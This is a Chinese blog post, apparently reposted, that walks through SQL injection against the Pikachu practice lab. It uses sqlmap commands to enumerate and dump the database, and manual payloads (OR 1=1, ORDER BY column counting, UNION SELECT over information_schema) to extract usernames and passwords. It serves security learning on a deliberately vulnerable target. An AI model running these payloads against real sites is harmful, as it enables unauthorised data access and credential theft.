皮卡丘(pikachu)SQL注入(手工和工具举例)

2023-11-21 08:59

本文主要是介绍皮卡丘(pikachu)SQL注入(手工和工具举例),希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

我们以数字型(使用sqlmap)和整数型(使用手工注入)举一个例子

数字型注入(POST)

我们使用了sqlmap

选择1点击查询并抓包

将抓下来的数据全部复制在一个记事本里,命名为1.txt

使用命令 python sqlmap.py –r 111.txt –current-db

爆出数据库:pikachu

之后爆破表:python sqlmap.py –r 111.txt –D pikachu -tables

爆出表

在之后找一个表去爆列名

python sqlmap.py -r 111.txt -D pikachu -T users –columns

爆出列名

最后爆出列名字段的值数据

python sqlmap.py –r 111.txt –D pikachu –T username –C username –dump

爆出数据

这里只是爆了一个表中的一点内容,没有把所有数据全部爆出来。

字符型注入(Get)

这次我们使用手工注入

输入一个kobe试试

首先我们判断一下是否有注入点,输入kobe’ or 1=1

报错了证明可以执行sql语句

输入kobe’ and 1=1# 可以爆出数据

使用order by

aaa' order by 1#

aaa' order by 2#

aaa' order by 3#

aaa' order by 4#

得知查询结果列数为3

之后使用联合查询查询数据库名,用户名(我这里是三列所以加了version)

a'union select database(),user(),version()#

得到数据库名之后,我们可以把表爆出来

kobe' union select database(),group_concat(table_name),version()from information_schema.tables where table_schema=database() #

爆出表之后我们再去爆列

kobe' union select database(),group_concat(column_name),version() from information_schema.columns where table_schema=database() and table_name='users' #

爆出列,最后爆值

kobe' union select database(),group_concat(username,'~',password),version() from pikachu.users#

注:我的pikachu是三列,所以直接用我的sql命令有可能出现报错情况,是因为列数错误

可改为两列试一试(把version删掉就可以了)

这篇关于皮卡丘(pikachu)SQL注入(手工和工具举例)的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/401272

相关文章

MySQL中的交叉连接、自然连接和内连接查询详解

《MySQL中的交叉连接、自然连接和内连接查询详解》:本文主要介绍MySQL中的交叉连接、自然连接和内连接查询,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录一、引入二、交php叉连接(cross join)三、自然连接(naturalandroid join)四

Mysql如何将数据按照年月分组的统计

《Mysql如何将数据按照年月分组的统计》:本文主要介绍Mysql如何将数据按照年月分组的统计方式,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录mysql将数据按照年月分组的统计要的效果方案总结Mysql将数据按照年月分组的统计要的效果方案① 使用 DA

Mysql表如何按照日期字段的年月分区

《Mysql表如何按照日期字段的年月分区》:本文主要介绍Mysql表如何按照日期字段的年月分区的实现方式,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录一、创键表时直接设置分区二、已有表分区1、分区的前置条件2、分区操作三、验证四、注意总结一、创键表时直接设置分区

mysql的基础语句和外键查询及其语句详解(推荐)

《mysql的基础语句和外键查询及其语句详解(推荐)》:本文主要介绍mysql的基础语句和外键查询及其语句详解(推荐),本文给大家介绍的非常详细,对大家的学习或工作具有一定的参考借鉴价值,需要的朋... 目录一、mysql 基础语句1. 数据库操作 创建数据库2. 表操作 创建表3. CRUD 操作二、外键

基于Python实现高效PPT转图片工具

《基于Python实现高效PPT转图片工具》在日常工作中,PPT是我们常用的演示工具,但有时候我们需要将PPT的内容提取为图片格式以便于展示或保存,所以本文将用Python实现PPT转PNG工具,希望... 目录1. 概述2. 功能使用2.1 安装依赖2.2 使用步骤2.3 代码实现2.4 GUI界面3.效

MySQL更新某个字段拼接固定字符串的实现

《MySQL更新某个字段拼接固定字符串的实现》在MySQL中,我们经常需要对数据库中的某个字段进行更新操作,本文就来介绍一下MySQL更新某个字段拼接固定字符串的实现,感兴趣的可以了解一下... 目录1. 查看字段当前值2. 更新字段拼接固定字符串3. 验证更新结果mysql更新某个字段拼接固定字符串 -

python连接本地SQL server详细图文教程

《python连接本地SQLserver详细图文教程》在数据分析领域,经常需要从数据库中获取数据进行分析和处理,下面:本文主要介绍python连接本地SQLserver的相关资料,文中通过代码... 目录一.设置本地账号1.新建用户2.开启双重验证3,开启TCP/IP本地服务二js.python连接实例1.

Spring Boot项目中结合MyBatis实现MySQL的自动主从切换功能

《SpringBoot项目中结合MyBatis实现MySQL的自动主从切换功能》:本文主要介绍SpringBoot项目中结合MyBatis实现MySQL的自动主从切换功能,本文分步骤给大家介绍的... 目录原理解析1. mysql主从复制(Master-Slave Replication)2. 读写分离3.

基于Python和MoviePy实现照片管理和视频合成工具

《基于Python和MoviePy实现照片管理和视频合成工具》在这篇博客中,我们将详细剖析一个基于Python的图形界面应用程序,该程序使用wxPython构建用户界面,并结合MoviePy、Pill... 目录引言项目概述代码结构分析1. 导入和依赖2. 主类:PhotoManager初始化方法:__in

C语言函数递归实际应用举例详解

《C语言函数递归实际应用举例详解》程序调用自身的编程技巧称为递归,递归做为一种算法在程序设计语言中广泛应用,:本文主要介绍C语言函数递归实际应用举例的相关资料,文中通过代码介绍的非常详细,需要的朋... 目录前言一、递归的概念与思想二、递归的限制条件 三、递归的实际应用举例(一)求 n 的阶乘(二)顺序打印